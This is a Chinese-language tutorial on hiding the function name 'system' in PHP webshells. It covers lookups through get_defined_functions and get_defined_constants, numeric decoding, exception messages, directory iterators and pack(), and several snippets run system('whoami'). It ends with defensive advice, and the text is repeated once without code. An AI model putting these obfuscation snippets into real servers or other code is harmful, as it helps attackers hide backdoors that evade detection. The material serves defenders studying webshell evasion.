浅谈 webshell 构造之如何获取恶意函数
字数 960 2025-08-30 06:50:27

WebShell构造技术:恶意函数获取方法详解

前言

本文详细总结了几种在PHP环境中获取恶意函数的技术手段,这些技术可用于WebShell构造,帮助安全研究人员理解攻击手法并加强防御。

1. 使用get_defined_functions获取内部函数

get_defined_functions()是PHP内置函数,返回所有已定义函数的数组,包括内部(internal)和用户定义(user)函数。

技术要点:

  • 函数原型:get_defined_functions(): array
  • 返回数组包含两个键:"internal"和"user"
  • 可通过索引直接调用危险函数
<?php
$a = (get_defined_functions());
$a["internal"][516]("whoami"); // 假设516是system函数的索引
?>

2. 利用get_defined_constants获取常量

get_defined_constants()返回所有常量的关联数组,键是常量名,值是常量值。

技术要点:

  • 可搜索包含特定关键字的常量
  • 通过字符串截取获取函数名
<?php
$a = get_defined_constants();
foreach ($a as $key => $value){
    if (substr($key,0,7)=="INI_SYS"){
        $x = strtolower(substr($key,4,6)); // 提取"system"
        $x("whoami");
    }
}
?>

3. 自定义函数构造法

通过自定义函数从数字构造出函数名,典型的混淆技术。

示例代码:

<?php
function fun($a){
    $s = ['a','t','s', 'y', 'm', 'e'];
    $tmp = "";
    while ($a>10) {
        $tmp .= $s[$a%10];
        $a = $a/10;
    }
    return $tmp.$s[$a];
}
echo fun(451232); // 输出"system"
?>

4. 异常处理截取字符串

利用异常类的getMessage()方法获取构造的函数名。

技术要点:

  • 使用ParseError等异常类
  • 通过异常消息获取构造的字符串
<?php
function fun($a){
    $s = ['a','t','s', 'y', 'm', 'e'];
    $tmp = "";
    while ($a>10) {
        $tmp .= $s[$a%10];
        $a = $a/10;
    }
    return $tmp.$s[$a];
}
$a = new ParseError(fun(451232));
echo $a->getMessage(); // 获取"system"
?>

5. 文件系统迭代器获取

利用DirectoryIteratorFilesystemIterator类,通过文件名构造函数。

技术要点:

  • DirectoryIterator::getFilename()获取文件名
  • 控制文件名或目录名来构造函数
<?php
$iterator = new FilesystemIterator(dirname(__FILE__));
foreach ($iterator as $item) {
    echo $item->getFilename() . "\n"; // 可能获取有用函数名
}
?>

6. pack函数构造字符串

使用pack()函数从ASCII码或十六进制构造字符串。

两种构造方式:

  1. 通过ASCII码构造:
<?php
echo pack("C6", 115, 121, 115, 116, 101, 109); // "system"
?>
  1. 通过十六进制构造:
<?php
echo pack("H*", "73797374656d"); // "system"
?>

格式说明:

  • "C6":6个无符号字符(ASCII码)
  • "H*":任意长度的十六进制字符串

防御建议

  1. 禁用危险函数如systemexec
  2. 监控get_defined_functions等函数的使用
  3. 限制异常信息的输出
  4. 控制文件系统操作权限
  5. pack等数据打包函数进行监控

总结

本文介绍了多种获取恶意函数的技术,从直接获取到间接构造,展示了攻击者如何绕过限制执行恶意代码。理解这些技术有助于更好地防御WebShell攻击。

WebShell构造技术:恶意函数获取方法详解 前言 本文详细总结了几种在PHP环境中获取恶意函数的技术手段,这些技术可用于WebShell构造,帮助安全研究人员理解攻击手法并加强防御。 1. 使用get_ defined_ functions获取内部函数 get_defined_functions() 是PHP内置函数,返回所有已定义函数的数组,包括内部(internal)和用户定义(user)函数。 技术要点: 函数原型: get_defined_functions(): array 返回数组包含两个键:"internal"和"user" 可通过索引直接调用危险函数 2. 利用get_ defined_ constants获取常量 get_defined_constants() 返回所有常量的关联数组,键是常量名,值是常量值。 技术要点: 可搜索包含特定关键字的常量 通过字符串截取获取函数名 3. 自定义函数构造法 通过自定义函数从数字构造出函数名,典型的混淆技术。 示例代码: 4. 异常处理截取字符串 利用异常类的 getMessage() 方法获取构造的函数名。 技术要点: 使用 ParseError 等异常类 通过异常消息获取构造的字符串 5. 文件系统迭代器获取 利用 DirectoryIterator 或 FilesystemIterator 类,通过文件名构造函数。 技术要点: DirectoryIterator::getFilename() 获取文件名 控制文件名或目录名来构造函数 6. pack函数构造字符串 使用 pack() 函数从ASCII码或十六进制构造字符串。 两种构造方式: 通过ASCII码构造: 通过十六进制构造: 格式说明: "C6":6个无符号字符(ASCII码) "H* ":任意长度的十六进制字符串 防御建议 禁用危险函数如 system 、 exec 等 监控 get_defined_functions 等函数的使用 限制异常信息的输出 控制文件系统操作权限 对 pack 等数据打包函数进行监控 总结 本文介绍了多种获取恶意函数的技术,从直接获取到间接构造,展示了攻击者如何绕过限制执行恶意代码。理解这些技术有助于更好地防御WebShell攻击。